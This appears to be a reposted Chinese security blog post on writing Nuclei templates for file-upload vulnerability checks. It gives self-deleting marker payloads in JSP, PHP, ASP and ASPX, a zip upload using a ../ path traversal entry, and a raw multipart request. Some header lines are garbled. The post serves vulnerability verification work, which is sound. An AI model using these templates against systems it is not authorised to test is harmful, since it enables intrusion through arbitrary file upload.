日常在使用nuclei编写文件上传raw相关数据时候,一些可以控制参数filename、boundary、上传的数据等等
{{randstr}} # 随机字符串
{{rand_base(8)}} # 从可选字符集生成给定长度字符串的随机序列(默认为字母和数字)
{{rand_text_numeric(8)}} # 生成给定长度的随机数字字符串(和数字)
to_lower小写{{to_lower(rand_base(10))}}
to_upper大写{{to_upper(rand_base(10))}}
variables:
filename: "{{to_lower(rand_base(10))}}"
boundary: "{{rand_base(8)}}"
这个时候上传内容对上传体的一些调整
针对简单文件上传类型:随机字符
<% out.println({{randstr}});new java.io.File(application.getRealPath(request.getServletPath())).delete(); %>
PHP
echo "{{randstr}}";unlink(__FILE__);
ASP
<% response.write({{randstr}})
set myfso=server.CreateObject("scripting.filesystemobject")
myfso.DeleteFile(Server.MapPath("{{filename}}.asp"))%>
ASPX
<%@ Page Language="C#"%><% Response.Write({{randstr}});System.IO.File.Delete(Server.MapPath(Request.Url.AbsolutePath)); %>
汇总:
⚠声明 本程序、脚本仅供于学习自查使用,请使用者遵守《中华人民共和国网络安全法》,勿将此工具用于非授权的测试!!!
jsp
<% out.println({{randstr}});new java.io.File(application.getRealPath(request.getServletPath())).delete(); %>
php
<?php echo "{{randstr}}";unlink(__FILE__); ?>
asp
<% response.write({{randstr}})
set myfso=server.CreateObject("scripting.filesystemobject")
myfso.DeleteFile(Server.MapPath("{{filename}}.asp"))%>
aspx
<%@ Page Language="C#"%><% Response.Write({{randstr}});System.IO.File.Delete(Server.MapPath(Request.Url.AbsolutePath)); %>
在日常编写脚本过程中,有时候会对zip、序列化、ipa等等内容接口进行上传
对于zip包上传方便替换内容等等技巧:
大体思路将zip.zip-->byte-->Base64
简单的zip包:
相关zip内容:
包情况:
如果上传结构存在../../../../webapp/upload/test.jsp类似这种结构
上传包内容
包情况:
详情:
variables:
filename: "{{to_lower(rand_base(10))}}"
boundary: "{{rand_base(8)}}"
http:
raw:
|
POST /upload HTTP/1.1
Host: {{Hostname}}
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36 :
multipart/form-data; boundary=----WebKitFormBoundary{{boundary}} :
------WebKitFormBoundary{{boundary}}
form-data; name="myFile";filename="{{filename}}.zip" :
")}} =
------WebKitFormBoundary{{boundary}}--
|
GET /XXXX.jsp HTTP/1.1
Host: {{Hostname}}
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36 :
true :
matchers:
type: dsl
dsl:
'status_code_2 == 200 && contains_all(body_2, "test")'
马赛克安全实验室专注于:漏洞复现、渗透测试、nday、0day、网络安全、红蓝对抗,持续输出安全相关漏洞情报、漏洞复现相关漏洞验证脚本及工具。
原文始发于微信公众号(thelostworld):[Nuclei-05]Nuclei文件上传中的一些技巧
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论